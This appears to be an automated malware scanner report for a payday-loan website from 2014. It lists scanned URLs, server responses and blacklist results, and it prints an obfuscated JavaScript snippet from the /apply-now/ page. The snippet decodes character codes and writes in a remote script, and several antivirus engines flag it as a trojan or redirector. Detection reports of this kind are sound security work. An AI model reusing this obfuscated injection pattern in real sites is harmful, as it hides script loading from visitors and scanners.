New scan:

Malware Scanner report for paydayloanstoday.net

Malicious/Suspicious/Total urls checked
1/0/14
1 page has malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://paydayloanstoday.net/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 27 Sep 2014 23:40:27 GMT
Location: http://www.paydayloanstoday.net/
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php
clean
http://www.paydayloanstoday.net/
200 OK
Content-Length: 8462
Content-Type: text/html
clean
http://www.paydayloanstoday.net/wp-content/themes/payday/js/jquery.js
200 OK
Content-Length: 57254
Content-Type: application/javascript
clean
http://www.paydayloanstoday.net/wp-content/themes/payday/js/jqueryui.js
200 OK
Content-Length: 24169
Content-Type: application/javascript
clean
http://www.paydayloanstoday.net/wp-content/themes/payday/js/js.js
200 OK
Content-Length: 1762
Content-Type: application/javascript
clean
http://paydayloanstoday.net/apply-now/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 27 Sep 2014 23:40:31 GMT
Location: http://www.paydayloanstoday.net/apply-now/
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php
clean
http://www.paydayloanstoday.net/apply-now/
200 OK
Content-Length: 7978
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)


<!--
function Decode(){var temp="";
var i,c=0;
var out="";
var str="60!115!99!114!105!112!116!32!116!121!112!101!61!39!116!101!120!116!47!106!97!118!97!115!99!114!105!112!116!39!62!32!10!32!32!32!32!118!97!114!32!105!110!112!117!116!79!112!116!105!111!110!115!32!61!32!123!10!32!32!32!32!32!32!32!32!39!85!115!101!114!73!68!39!58!32!39!51!50!57!50!49!39!44!10!32!32!32!32!32!32!32!32!39!80!114!111!100!117!99!116!39!58!32!39!112!97!121!100!97!121!39!44!10!32!32!32!32!
... 580 bytes are skipped ...
115!121!115!116!101!109!47!97!112!112!108!105!99!97!116!105!111!110!102!111!114!109!115!47!105!110!105!116!46!112!104!112!63!118!110!61!105!110!112!117!116!79!112!116!105!111!110!115!34!62!60!92!47!115!99!114!105!112!116!62!39!41!59!10!60!47!115!99!114!105!112!116!62!10!";
l=str.length;
while(c <= str.length - 1) { while(str.charAt(c) != '!') temp = temp + str.charAt(c++);
c++;
out=out+String.fromCharCode(temp);
temp = "";
}
document.write(out);}

Antivirus reports:

Avast
JS:Decode-EQ [Trj]
Ikarus
Virus.JS.Redir
Comodo
UnclassifiedMalware
Microsoft
VirTool:JS/Obfuscator.CC
Fortinet
JS/Kryptik.BP!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Packed.iagb
AVG
JS/Redir
GData
Script.Trojan.Agent.U10BMS
ESET-NOD32
JS/Kryptik.BP

http://www.paydayloanstoday.net/wp-includes/js/comment-reply.js?ver=20090102
200 OK
Content-Length: 786
Content-Type: application/javascript
clean
http://paydayloanstoday.net/test404page.js
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Sat, 27 Sep 2014 23:40:33 GMT
Pragma: no-cache
Location: http://www.paydayloanstoday.net/test404page.js
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sat, 27 Sep 2014 23:40:33 GMT
X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php
clean
http://www.paydayloanstoday.net/test404page.js
404 Not Found
Content-Length: 5960
Content-Type: text/html
clean
http://www.paydayloanstoday.net/about-payday-loans/
200 OK
Content-Length: 10217
Content-Type: text/html
clean
http://www.paydayloanstoday.net/payday-loans-faq/
200 OK
Content-Length: 13378
Content-Type: text/html
clean
http://www.paydayloanstoday.net/privacy-policy/
200 OK
Content-Length: 22426
Content-Type: text/html
clean
http://www.paydayloanstoday.net/recent-posts/
200 OK
Content-Length: 6300
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: paydayloanstoday.net

Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sat, 27 Sep 2014 23:40:27 GMT
Location: http://www.paydayloanstoday.net/
Server: Apache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.paydayloanstoday.net/xmlrpc.php

...0 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: paydayloanstoday.net
Referer: http://www.google.com/search?q=paydayloanstoday.net

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=paydayloanstoday.net

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://paydayloanstoday.net/

Result: paydayloanstoday.net is not infected or malware details are not published yet.